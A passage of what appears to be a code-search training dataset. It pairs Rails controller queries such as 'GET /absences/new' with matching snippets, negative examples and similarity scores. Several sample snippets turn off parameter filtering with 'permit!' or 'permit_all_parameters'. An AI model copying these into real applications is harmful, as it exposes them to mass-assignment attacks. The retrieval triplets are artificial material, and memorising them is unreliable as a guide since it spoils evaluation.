],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def valid_params_request?; end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def url_whitelist; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def permit_request_params\n params.permit(:address)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def backend_user_params\n params.permit!\n end", "def url_params\n params[:url].permit(:full)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.6981273", "0.6783789", "0.67460483", "0.6742222", "0.67354137", "0.65934366", "0.65028495", "0.6497783", "0.64826745", "0.6479415", "0.6456823", "0.6440081", "0.63800216", "0.6376521", "0.636652", "0.6319898", "0.6300256", "0.62994003", "0.6293621", "0.6292629", "0.6291586", "0.629103", "0.6282451", "0.6243152", "0.62413", "0.6219024", "0.6213724", "0.62103724", "0.61945", "0.61786324", "0.61755824", "0.6173267", "0.6163613", "0.6153058", "0.61521065", "0.6147508", "0.61234015", "0.61168665", "0.6107466", "0.6106177", "0.6091159", "0.60817343", "0.6071238", "0.6062299", "0.6021663", "0.60182893", "0.6014239", "0.6011563", "0.60080767", "0.60080767", "0.60028875", "0.60005623", "0.59964156", "0.5993086", "0.5992319", "0.5992299", "0.59801805", "0.59676576", "0.59606016", "0.595966", "0.59591126", "0.59589803", "0.5954058", "0.5953234", "0.5944434", "0.5940526", "0.59376484", "0.59376484", "0.5935253", "0.5930846", "0.5926387", "0.59256274", "0.5917907", "0.5910841", "0.590886", "0.59086543", "0.59060425", "0.58981544", "0.5898102", "0.5896809", "0.5895416", "0.58947027", "0.58923644", "0.5887903", "0.58830196", "0.5880581", "0.5873854", "0.58697754", "0.5869004", "0.58669055", "0.5866886", "0.58664906", "0.5864619", "0.58630043", "0.5862495", "0.5861368", "0.5859712", "0.5855544", "0.58551925", "0.5851284", "0.5850602" ]
0.0
-1
GET /absences/1 GET /absences/1.json
def show @absence = Absence.find(params[:id]) @title = "User #{@absence.user_id} Absence" respond_to do |format| format.html # show.html.erb format.json { render json: @absence } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @absences = Absence.all\n end", "def index\n @absences = Absence.all\n end", "def show\n @absence = Absence.where(id: params[:id], user_id: params[:user_id])\n @title = \"User #{@absence.user_id} Absence\" \n respond_to do |format|\n format.html { render :file => \"absences/show\"}\n format.json { render json: @absence }\n end\n end", "def index\n @absences = Absence.where(\"member_id = ?\",params[:member_id]).order(\"start_date DESC\").page(params[:page]).per(7)\n @member = Member.find(params[:member_id])\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @absences }\n end\n end", "def show\n @absence = Absence.find(params[:id])\n @member = Member.find(params[:member_id])\n \n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @absence }\n end\n end", "def new\n @absence = Absence.new\n @title = \"New Absence\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @absence }\n end\n end", "def show\n @asistence = Asistence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @asistence }\n end\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def show\n @attendence = Attendence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attendence }\n end\n end", "def my_absences\n @absences = AttendanceRecord.get_absences(current_user)\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def show\n @exprience = Exprience.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exprience }\n end\n end", "def new\n @absence = Absence.new\n @member = Member.find(params[:member_id])\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @absence }\n end\n end", "def index\n @absents = Absent.joins(:level).joins(:classtype).order(\"created_at DESC\").limit(100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @absents }\n end\n end", "def destroy\n @absence = Absence.find(params[:id])\n @absence.destroy\n\n respond_to do |format|\n format.html { redirect_to absences_url }\n format.json { head :no_content }\n end\n end", "def show\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n render json: @oferta_academica\n end", "def index\n @audiences = Audience.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audiences }\n end\n end", "def create\n @absence = Absence.new(absence_params)\n\n respond_to do |format|\n if @absence.save\n format.html { redirect_to absences_url, notice: 'Отсутствие успешно создано.' }\n format.json { render :edit, status: :created, location: @absence }\n end\n end\n end", "def index\n @verbs = Verb.active.to_a \n @lines = @lines.where(:verb_id => params[:verb_id]) unless params[:verb_id].nil? \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lines }\n end\n end", "def index\n @ambiences = Ambience.all\n end", "def index\n @consents = Consent.all\n render json: @consents\n end", "def show\n @advocacy = Advocacy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advocacy }\n end\n end", "def create\n @absence = Absence.new(absence_params)\n\n respond_to do |format|\n if @absence.save\n format.html { redirect_to @absence, notice: 'Absence was successfully created.' }\n format.json { render :show, status: :created, location: @absence }\n else\n format.html { render :new }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @absence = Absence.new(params[:absence])\n @title = \"New Absence\"\n respond_to do |format|\n if @absence.save\n format.html { redirect_to @absence, notice: 'Absence was successfully created.' }\n format.json { render json: @absence, status: :created, location: @absence }\n else\n format.html { render action: \"new\" }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end", "def show\n @sentence = Sentence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sentence }\n end\n end", "def show\n @audience = Audience.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @audience }\n end\n end", "def show\n @cadet = Cadet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cadet }\n end\n end", "def index\n @ideas = Idea.current_ideas_for(current_user).entries\n respond_with(@ideas) do |format|\n format.json { render json: @ideas }\n end\n end", "def show\n @idiom = Idiom.find(params[:id])\n @essays = Essay.where(idiom_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @idiom }\n end\n end", "def show\n @announcement = Announcement.find(params[:id])\n render json:@announcement\n end", "def show\n @avert = Avert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @avert }\n end\n end", "def update\n @absence = Absence.find(params[:id])\n\n respond_to do |format|\n if @absence.update_attributes(params[:absence])\n format.html { redirect_to @absence, notice: 'Absence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @resumes = Resume.where(:book_id => params[:book_id])\n\n render json: @resumes\n end", "def show\n @announce_c = AnnounceC.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @announce_c }\n end\n end", "def show\n @spanish_vocab = SpanishVocab.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spanish_vocab }\n end\n end", "def show\n @announce = Announce.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @announce }\n end\n end", "def show\n @announce = Announce.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @announce }\n end\n end", "def show\n @assessment = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assessment }\n end\n end", "def show\n @allowance = Allowance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @allowance }\n end\n end", "def get_fences(*args)\n\tfences = @@vars['access_token'].request(:get, \"/api/v3/geo_fences\", HEADERS)\n\tresult = nil\n\tif args.length > 0\n\t\taux = JSON[fences.body][args[0]]\n\t\tfor i in aux['shapes']\n\t\t\ti['points'] = []\n\t\tend\n\t\tresult = [aux.to_json]\n\n\telse\n\t\tresult = fences.body\n\tend\n\n\treturn result\nend", "def show\n @election = Election.find(params[:election_id])\n @race = @election.races.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @race }\n end\n end", "def show\n term = @authority.find(params[:id])\n render json: term\n end", "def show\n @amendment = Amendment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @amendment }\n end\n end", "def show\n @encounter = Encounter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @encounter }\n end\n end", "def index\n @verbs = Verb.all\n\n render json: @verbs\n end", "def index\n @election = Election.find(params[:election_id])\n @races = @election.races\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @races }\n end\n end", "def show\n @audit = Audit.find(params[:id])\n respond_with @audit.as_json(:include => [:location, :fine_tunes, :auditors, :auditees, :paragraphs => {only: [:id, :name]}])\n end", "def index\n @attendees = Attendees.all\n render json: @attendees\n end", "def update\n respond_to do |format|\n if @absence.update(absence_params)\n format.html { redirect_to @absence, notice: 'Absence was successfully updated.' }\n format.json { render :show, status: :ok, location: @absence }\n else\n format.html { render :edit }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @assessment = Assessment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assessment }\n end\n end", "def show\n @archetype = Archetype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @archetype }\n end\n end", "def new\n @attendence = Attendence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attendence }\n end\n end", "def index\n render json: @authority.all\n end", "def show\n @amenity = Amenity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @amenity }\n end\n end", "def index\n @encriptions = Encription.all\n respond_to do |format|\n \n format.html \n format.json { render json: @encriptions }\n \n end\n end", "def show\n @author = Author.find(params[:id])\n @author_lines = AuthorLine.order('position').includes(:author, :article => :conference).where(:author_id => params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @author }\n end\n end", "def show\n @english_entry = EnglishEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @english_entry }\n end\n end", "def show\n @passage = Passage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @passage }\n end\n end", "def index\n if get_event\n @v1_answers = @event.alternatives\n render json: @v1_answers\n else\n @v1_answers = V1::Answer.all\n render json: @v1_answers\n end\n end", "def show\n @assessment_olympiad = AssessmentOlympiad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json:@assessment_olympiad }\n end\n end", "def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end", "def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end", "def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end", "def show\n @ca = Ca.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ca }\n end\n end", "def show\n @hr_attendence = Hr::Attendence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hr_attendence }\n end\n end", "def index\n @ideas = Idea.all\n\n render json: @ideas\n end", "def index\n @apartments = @building.apartments\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apartments }\n end\n end", "def show\n @ambiance = Ambiance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ambiance }\n end\n end", "def index\n @my_exams = MyExam.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_exams }\n end\n end", "def answers\n @celebrity = Celebrity.find(params[:id])\n @answers = @celebrity.answers\n render json: @answers\n end", "def show\n @entrance = Entrance.find(params[:id])\n @cage = @entrance.cage\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entrance }\n end\n end", "def show\n render json: Alien.find(params[\"id\"])\n end", "def index\n @attendees = Attendee.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attendees }\n end\n end", "def show\n @attend = Attend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attend }\n end\n end", "def index\n if params[:meeting_id] && params[:team_id]\n @passages = Passage.includes(:team, :meeting).where(\n 'meetings.id' => params[:meeting_id],\n 'teams.id' => params[:team_id]\n ).to_a\n else\n @passages = []\n end\n render status: 200, json: @passages\n end", "def show\n @anniversary = Anniversary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @anniversary }\n end\n end", "def show\n @achievment = Achievment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @achievment }\n end\n end", "def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end", "def show\n @descuento = Descuento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @descuento }\n end\n end", "def show\n @arcone = Arcone.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @arcone }\n end\n end", "def show\n @oase = Oasis.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @oase }\n end\n end", "def show\n @exam = Exam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exam }\n end\n end", "def show\n @irregular_verb = IrregularVerb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @irregular_verb }\n end\n end", "def index\n chapters = @project.chapters.all\n render json: { chapters: chapters }\n end", "def destroy\n @absence = Absence.find(params[:id])\n @absence.destroy\n\n respond_to do |format|\n format.html { redirect_to club_member_absences_path(params[:club_id],current_member) }\n format.json { head :ok }\n end\n end", "def show\n render json: @spellbook\n end", "def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend", "def index\n @appeals = @conference.appeals\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @appeals }\n end\n end", "def show\n @law = Law.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @law }\n end\n end", "def show\n @cue = Cue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cue }\n end\n end", "def set_absences_log\n @absences_log = AbsencesLog.find(params[:id])\n end", "def show\n @auditoria = Auditoria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @auditoria }\n end\n end", "def show\n @assunto = Assunto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assunto }\n end\n end", "def show\n render json: @specification, serializer: Web::V1::SpecificationSerializer\n end", "def show\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @oferta }\n end\n end", "def show\n @causale = Causale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @causale }\n end\n end" ]
[ "0.71313965", "0.71313965", "0.70430654", "0.67361826", "0.6651391", "0.6524554", "0.638", "0.6261243", "0.6261243", "0.6208609", "0.61487675", "0.6148269", "0.6148269", "0.6148269", "0.6030816", "0.5988195", "0.5967427", "0.59229034", "0.59157246", "0.5904734", "0.5886846", "0.587348", "0.5856682", "0.5852783", "0.58280444", "0.58051026", "0.5787728", "0.57854307", "0.5762856", "0.57546234", "0.5751575", "0.5748836", "0.5747326", "0.5735584", "0.5721474", "0.57155037", "0.5701731", "0.56873685", "0.5677821", "0.5671707", "0.5671707", "0.5670876", "0.5658459", "0.56367475", "0.5634194", "0.56276596", "0.5624747", "0.5621461", "0.5613951", "0.56075126", "0.56007046", "0.5597609", "0.5592959", "0.5582835", "0.5566003", "0.55481976", "0.55446166", "0.5542994", "0.55329376", "0.5527296", "0.552154", "0.55174404", "0.55172306", "0.5510796", "0.5505281", "0.5505281", "0.5505281", "0.5485492", "0.5470464", "0.54688203", "0.5463349", "0.54631495", "0.5456228", "0.5454571", "0.54542375", "0.54435265", "0.5442101", "0.54224056", "0.5421295", "0.54208094", "0.5419915", "0.541457", "0.5414046", "0.5413774", "0.54103875", "0.5409015", "0.54069704", "0.54042196", "0.5399157", "0.53934133", "0.538892", "0.5385319", "0.5380946", "0.5378851", "0.5378759", "0.53750086", "0.5371874", "0.5371717", "0.53695625", "0.5364172" ]
0.6677229
4
GET /absences/new GET /absences/new.json
def new @absence = Absence.new @title = "New Absence" respond_to do |format| format.html # new.html.erb format.json { render json: @absence } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @absence = Absence.new\n @member = Member.find(params[:member_id])\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @absence }\n end\n end", "def new\n @attendence = Attendence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attendence }\n end\n end", "def new\n @exprience = Exprience.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exprience }\n end\n end", "def new\n @sentence = Sentence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sentence }\n end\n end", "def create\n @absence = Absence.new(absence_params)\n\n respond_to do |format|\n if @absence.save\n format.html { redirect_to absences_url, notice: 'Отсутствие успешно создано.' }\n format.json { render :edit, status: :created, location: @absence }\n end\n end\n end", "def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lease }\n end\n end", "def create\n @absence = Absence.new(params[:absence])\n @title = \"New Absence\"\n respond_to do |format|\n if @absence.save\n format.html { redirect_to @absence, notice: 'Absence was successfully created.' }\n format.json { render json: @absence, status: :created, location: @absence }\n else\n format.html { render action: \"new\" }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @ca = Ca.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ca }\n end\n end", "def new\n @announce = Announce.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @announce }\n end\n end", "def new\n @have = Have.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @have }\n end\n end", "def new\n @amendment = Amendment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @amendment }\n end\n end", "def new\n @encounter = Encounter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @encounter }\n end\n end", "def new\n @law = Law.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @law }\n end\n end", "def new\n @verse = Verse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verse }\n end\n end", "def new\n @verse = Verse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verse }\n end\n end", "def new\n @verse = Verse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verse }\n end\n end", "def new\n @quest = Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end", "def new\n @cadet = Cadet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cadet }\n end\n end", "def new\n @entry = Entry.new\n\n render json: @entry\n end", "def new\n @announcement = Announcement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @announcement }\n end\n end", "def new\n @passage = Passage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @passage }\n end\n end", "def new\n if (params[:original_id])\n @original = Fundamental::Announcement.find_by_id(params[:original_id])\n raise NotFoundError.new \"Original not found.\" if @original.nil?\n @fundamental_announcement = @original.translations.build\n else\n @fundamental_announcement = Fundamental::Announcement.new({\n :locale => I18n.default_locale\n })\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fundamental_announcement }\n end\n end", "def new\n @residence = Residence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @residence }\n end\n end", "def new\n @entity = Entity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "def new\n \n\t@attending = Attending.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attending }\n \n end\nend", "def new\n @party = Party.new\n\n 